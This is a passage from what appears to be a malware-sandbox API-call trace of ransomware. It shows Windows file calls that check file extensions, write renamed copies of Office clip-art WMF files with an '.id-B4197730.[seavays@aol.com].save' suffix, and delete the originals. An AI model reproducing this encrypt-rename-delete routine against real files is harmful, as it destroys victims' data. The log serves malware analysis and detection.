(lpString=".docx") returned 5 [0168.623] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.623] lstrlenW (lpString=".pdf") returned 4 [0168.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.623] lstrlenW (lpString=".xls") returned 4 [0168.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.624] lstrlenW (lpString=".xlsx") returned 5 [0168.624] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.624] lstrlenW (lpString=".ppt") returned 4 [0168.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.624] lstrlenW (lpString=".zip") returned 4 [0168.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.624] lstrlenW (lpString=".rar") returned 4 [0168.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.624] lstrlenW (lpString=".bz2") returned 4 [0168.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.624] lstrlenW (lpString=".7z") returned 3 [0168.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.624] lstrlenW (lpString=".dbf") returned 4 [0168.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.624] lstrlenW (lpString=".1cd") returned 4 [0168.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0168.624] lstrlenW (lpString=".jpg") returned 4 [0168.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.624] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.625] lstrlenW (lpString="J0105288.WMF") returned 12 [0168.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.626] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=15832) returned 1 [0168.626] CloseHandle (hObject=0x508) returned 1 [0168.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0168.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.626] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.626] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.627] GetLastError () returned 0x0 [0168.627] ReadFile (in: hFile=0x508, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0168.809] WriteFile (in: hFile=0x528, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3de0, lpOverlapped=0x0) returned 1 [0168.810] ReadFile (in: hFile=0x508, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.810] WriteFile (in: hFile=0x528, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.810] SetEndOfFile (hFile=0x528) returned 1 [0168.811] CloseHandle (hObject=0x528) returned 1 [0168.811] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.811] SetEndOfFile (hFile=0x508) returned 1 [0168.814] CloseHandle (hObject=0x508) returned 1 [0168.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0169.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.529] lstrlenW (lpString=".doc") returned 4 [0169.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.529] lstrlenW (lpString=".docx") returned 5 [0169.529] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.529] lstrlenW (lpString=".pdf") returned 4 [0169.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.529] lstrlenW (lpString=".xls") returned 4 [0169.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.529] lstrlenW (lpString=".xlsx") returned 5 [0169.529] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.529] lstrlenW (lpString=".ppt") returned 4 [0169.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.530] lstrlenW (lpString=".zip") returned 4 [0169.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.530] lstrlenW (lpString=".rar") returned 4 [0169.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.530] lstrlenW (lpString=".bz2") returned 4 [0169.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.530] lstrlenW (lpString=".7z") returned 3 [0169.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.530] lstrlenW (lpString=".dbf") returned 4 [0169.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.530] lstrlenW (lpString=".1cd") returned 4 [0169.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.530] lstrlenW (lpString=".jpg") returned 4 [0169.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.530] lstrlenW (lpString=".doc") returned 4 [0169.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.530] lstrlenW (lpString=".docx") returned 5 [0169.530] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.530] lstrlenW (lpString=".pdf") returned 4 [0169.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.531] lstrlenW (lpString=".xls") returned 4 [0169.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.531] lstrlenW (lpString=".xlsx") returned 5 [0169.531] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.531] lstrlenW (lpString=".ppt") returned 4 [0169.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.531] lstrlenW (lpString=".zip") returned 4 [0169.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.531] lstrlenW (lpString=".rar") returned 4 [0169.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.531] lstrlenW (lpString=".bz2") returned 4 [0169.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.531] lstrlenW (lpString=".7z") returned 3 [0169.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.531] lstrlenW (lpString=".dbf") returned 4 [0169.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.531] lstrlenW (lpString=".1cd") returned 4 [0169.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0169.531] lstrlenW (lpString=".jpg") returned 4 [0169.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.532] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.532] lstrlenW (lpString="J0105368.WMF") returned 12 [0169.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.533] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=12380) returned 1 [0169.533] CloseHandle (hObject=0x538) returned 1 [0169.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0169.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.534] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.534] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0169.535] GetLastError () returned 0x0 [0169.535] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x305c, lpOverlapped=0x0) returned 1 [0169.538] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3060, lpOverlapped=0x0) returned 1 [0169.539] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.539] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.539] SetEndOfFile (hFile=0x53c) returned 1 [0169.539] CloseHandle (hObject=0x53c) returned 1 [0169.540] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.540] SetEndOfFile (hFile=0x538) returned 1 [0169.543] CloseHandle (hObject=0x538) returned 1 [0169.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0169.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.545] lstrlenW (lpString=".doc") returned 4 [0169.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.545] lstrlenW (lpString=".docx") returned 5 [0169.545] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.545] lstrlenW (lpString=".pdf") returned 4 [0169.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.545] lstrlenW (lpString=".xls") returned 4 [0169.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.545] lstrlenW (lpString=".xlsx") returned 5 [0169.545] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.545] lstrlenW (lpString=".ppt") returned 4 [0169.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.545] lstrlenW (lpString=".zip") returned 4 [0169.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.545] lstrlenW (lpString=".rar") returned 4 [0169.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.546] lstrlenW (lpString=".bz2") returned 4 [0169.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.546] lstrlenW (lpString=".7z") returned 3 [0169.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.546] lstrlenW (lpString=".dbf") returned 4 [0169.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.546] lstrlenW (lpString=".1cd") returned 4 [0169.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.546] lstrlenW (lpString=".jpg") returned 4 [0169.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.546] lstrlenW (lpString=".doc") returned 4 [0169.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.546] lstrlenW (lpString=".docx") returned 5 [0169.546] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.546] lstrlenW (lpString=".pdf") returned 4 [0169.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.546] lstrlenW (lpString=".xls") returned 4 [0169.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.546] lstrlenW (lpString=".xlsx") returned 5 [0169.546] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.546] lstrlenW (lpString=".ppt") returned 4 [0169.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.547] lstrlenW (lpString=".zip") returned 4 [0169.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.547] lstrlenW (lpString=".rar") returned 4 [0169.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.547] lstrlenW (lpString=".bz2") returned 4 [0169.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.547] lstrlenW (lpString=".7z") returned 3 [0169.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.547] lstrlenW (lpString=".dbf") returned 4 [0169.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.547] lstrlenW (lpString=".1cd") returned 4 [0169.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0169.547] lstrlenW (lpString=".jpg") returned 4 [0169.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.547] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.547] lstrlenW (lpString="J0105376.WMF") returned 12 [0169.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.549] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=4964) returned 1 [0169.549] CloseHandle (hObject=0x538) returned 1 [0169.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0169.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0169.550] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.550] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0169.551] GetLastError () returned 0x0 [0169.551] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1364, lpOverlapped=0x0) returned 1 [0169.553] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1370, lpOverlapped=0x0) returned 1 [0169.555] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.555] WriteFile (in: hFile=0x53c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.555] SetEndOfFile (hFile=0x53c) returned 1 [0169.555] CloseHandle (hObject=0x53c) returned 1 [0169.555] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.555] SetEndOfFile (hFile=0x538) returned 1 [0169.561] CloseHandle (hObject=0x538) returned 1 [0169.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0169.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.563] lstrlenW (lpString=".doc") returned 4 [0169.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.563] lstrlenW (lpString=".docx") returned 5 [0169.563] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.563] lstrlenW (lpString=".pdf") returned 4 [0169.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.563] lstrlenW (lpString=".xls") returned 4 [0169.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.563] lstrlenW (lpString=".xlsx") returned 5 [0169.563] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.563] lstrlenW (lpString=".ppt") returned 4 [0169.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.563] lstrlenW (lpString=".zip") returned 4 [0169.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.563] lstrlenW (lpString=".rar") returned 4 [0169.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.563] lstrlenW (lpString=".bz2") returned 4 [0169.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.564] lstrlenW (lpString=".7z") returned 3 [0169.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.564] lstrlenW (lpString=".dbf") returned 4 [0169.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.564] lstrlenW (lpString=".1cd") returned 4 [0169.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.564] lstrlenW (lpString=".jpg") returned 4 [0169.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0169.564] lstrlenW (lpString=".doc") returned 4 [0169.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.564] lstrlenW (lpString=".docx") returned 5 [0169.564] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.564] lstrlenW (lpString=".pdf") returned 4 [0169.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.564] lstrlenW (lpString=".xls") returned 4 [0169.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.564] lstrlenW (lpString=".xlsx") returned 5 [0169.564] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.564] lstrlenW (lpString=".ppt") returned 4 [0169.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 